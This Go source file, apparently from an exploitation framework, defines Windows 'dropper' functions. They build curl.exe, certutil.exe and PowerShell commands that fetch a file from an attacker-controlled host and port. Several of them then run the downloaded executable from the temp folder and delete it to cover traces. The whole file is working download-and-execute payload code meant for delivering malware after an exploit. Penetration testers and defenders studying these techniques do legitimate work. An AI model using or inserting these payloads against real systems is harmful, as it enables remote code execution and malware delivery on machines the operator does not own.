package dropper

import (
	"fmt"
	"strings"

	"github.com/vulncheck-oss/go-exploit/random"
)

// Download a remote file with curl.exe, but do not execute/delete it.
// You also need to provide your own full file path, .exe will not be appended like the others.
// Lastly the full output file path needs to be specified in the output parameter.
func (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, output string) string {
	if ssl {
		return fmt.Sprintf("curl.exe -kso %s https://%s:%d/%s", output, lhost, lport, downloadFile)
	}

	return fmt.Sprintf("curl.exe -so %s http://%s:%d/%s", output, lhost, lport, downloadFile)
}

// Much like CurlHTTPDownloadOnly, this function will generate the certutil.exe command to download a file and save it to the provided location.
//
//	downloadCmd := dropper.Windows.CertutilHTTPDownloadOnly(httpFileServer.HTTPAddr, httpFileServer.HTTPPort, httpFileServer.TLS, httpFileServer.GetRandomName(""), destFilePath)
func (win *WindowsPayload) CertutilHTTPDownloadOnly(lhost string, lport int, ssl bool, downloadFile string, outputPath string) string {
	uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile)
	if ssl {
		uri = strings.Replace(uri, "http://", "https://", 1)
	}

	return fmt.Sprintf("certutil.exe -urlcache -split -f %s %s", uri, outputPath)
}

// Download a remote file with curl.exe, execute it, and delete it (after execution).
func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
	output := `%TEMP%\` + random.RandLetters(3) + ".exe"

	// NOTE: Can't delete a file in use
	if ssl {
		return fmt.Sprintf("curl.exe -kso %s https://%s:%d/%s && %s & del /f %s", output, lhost, lport, downloadFile, output, output)
	}

	return fmt.Sprintf("curl.exe -so %s http://%s:%d/%s && %s & del /f %s", output, lhost, lport, downloadFile, output, output)
}

// Download a remote file with certutil.exe, execute it, and delete it (after execution).
func (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
	output := `%TEMP%\` + random.RandLetters(3) + ".exe"

	uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile)
	if ssl {
		uri = strings.Replace(uri, "http://", "https://", 1)
	}

	return fmt.Sprintf("certutil.exe -urlcache -split -f %s %s && %s & del /f %s", uri, output, output, output)
}

// Download a remote file with PowerShell, execute it, and delete it (after execution).
func (win *WindowsPayload) PowershellHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
	// .NET method 'GetTempPath' instead relying on environment variables for better compatibility
	// Details: https://learn.microsoft.com/en-us/dotnet/api/system.io.path.gettemppath
	output := `"$([System.IO.Path]::GetTempPath())` + random.RandLetters(3) + `.exe"`
	uri := fmt.Sprintf("http://%s:%d/%s", lhost, lport, downloadFile)
	if ssl {
		uri = fmt.Sprintf("https://%s:%d/%s", lhost, lport, downloadFile)
	}

	return fmt.Sprintf(`powershell -c 'Invoke-WebRequest -Uri %s -OutFile %s; %s; Remove-Item %s'`, uri, output, output, output)
}
